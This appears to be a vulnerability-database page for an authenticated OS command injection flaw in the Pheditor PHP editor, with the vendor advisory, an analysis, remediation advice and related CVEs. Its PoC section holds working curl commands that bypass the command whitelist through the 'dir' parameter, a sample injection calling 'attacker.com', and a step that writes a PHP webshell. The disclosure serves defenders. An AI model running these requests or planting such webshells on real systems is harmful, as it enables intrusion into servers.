Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/pheditor/pheditor) · only source for this CVE.
CVSS VectorVendor: https://github.com/pheditor/pheditor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.
Details
The terminal handler in pheditor.php accepts two POST parameters: command and dir. Shell metacharacters are validated on $command only - $dir is passed to shell_exec() without any sanitization.
Vulnerable code (pheditor.php, line 554-586):
$command = $_POST['command']; // ✓ metacharacters checked
$dir = $_POST['dir']; // ✗ NOT checked - vulnerable
if (strpos($command, '&') !== false ||
strpos($command, ';') !== false ||
strpos($command, '||') !== false) {
die(...); // only guards $command, not $dir
}
$output = shell_exec(
(empty($dir) ? null : 'cd ' . $dir . ' && ')
. $command . ' && echo \ ; pwd' // ← $dir injected here
);An attacker sends dir=/tmp; curl attacker.com # - the semicolon in $dir is never checked, so the injected command executes freely.
Fix: replace $dir with escapeshellarg($dir) on line 586.
PoC
Requirements: valid credentials, terminal permission enabled (default)
Step 1 - Authenticate:
curl -c cookies.txt -X POST http://TARGET/pheditor.php \
-d "pheditor_password=admin" -L > /dev/nullStep 2 - Get CSRF token:
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | \
grep -o '"[a-f0-9]*"' | tr -d '"')Step 3 - Confirm curl is blocked via command field:
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=curl https://ifconfig.me" \
--data-urlencode "dir=/tmp"
→ {"error":true,"message":"Command not allowed"}Step 4 - Bypass whitelist via dir injection:
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | \
grep -o '"[a-f0-9]*"' | tr -d '"')
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"
→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}Step 5 - Full RCE via webshell:
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"
curl "http://TARGET/shell.php?c=id"
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)Impact
OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:
- Execute arbitrary OS commands as the web server user
- Bypass the TERMINAL_COMMANDS whitelist entirely
- Deploy persistent PHP webshells to the webroot
- Read, write, or delete any file accessible to the web server
- Potentially compromise other applications on the same server
Articles & Coverage 1
AnalysisAI
Authenticated remote code execution in Pheditor 2.0.1-2.0.3 lets any logged-in user with the default terminal permission bypass the TERMINAL_COMMANDS whitelist by injecting shell metacharacters into the unsanitized 'dir' POST parameter of pheditor.php, achieving full command execution as the web server user. Publicly available exploit code exists in the GitHub Security Advisory PoC, and the upstream commit confirms the root cause is missing escapeshellarg() on $dir before concatenation into shell_exec().
Technical ContextAI
Pheditor is a PHP-based web file/code editor distributed via Composer (pkg:composer/pheditor_pheditor). The vulnerability is a textbook CWE-78 (OS Command Injection): in pheditor.php around line 583, the terminal action handler builds a shell string of the form 'cd ' . $dir . ' && ' . $command and passes it to shell_exec(). A blocklist for '&', ';', and '||' is applied only to $command, while $dir flows directly from $_POST into the shell, so attacker-controlled metacharacters in 'dir' break out of the cd context and chain arbitrary commands. The fix wraps $dir with escapeshellarg(), which is the canonical PHP primitive for safely embedding user input into shell strings.
RemediationAI
Upgrade Pheditor to the vendor-released patch version 2.0.4 as tracked in GHSA-jvc5-6g7q-c843; the one-line fix replaces $dir with escapeshellarg($dir) on the shell_exec() call in pheditor.php (commit 62b43df7cb8956a9b0deb9bec278ca8676c890c5). If immediate upgrade is not possible, revoke the terminal permission from all pheditor users (this disables the affected action handler at the cost of losing in-app shell functionality), place pheditor.php behind an IP allowlist or VPN to remove network reachability, rotate the pheditor admin password to eliminate trivially-guessable credentials that satisfy the PR:L requirement, and as a stopgap apply the upstream one-line escapeshellarg() patch locally to pheditor.php line 583 - note this manual patch will be overwritten by future package updates and should be re-applied or replaced by the 2.0.4 upgrade.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-78 – OS Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-49384
GHSA-jvc5-6g7q-c843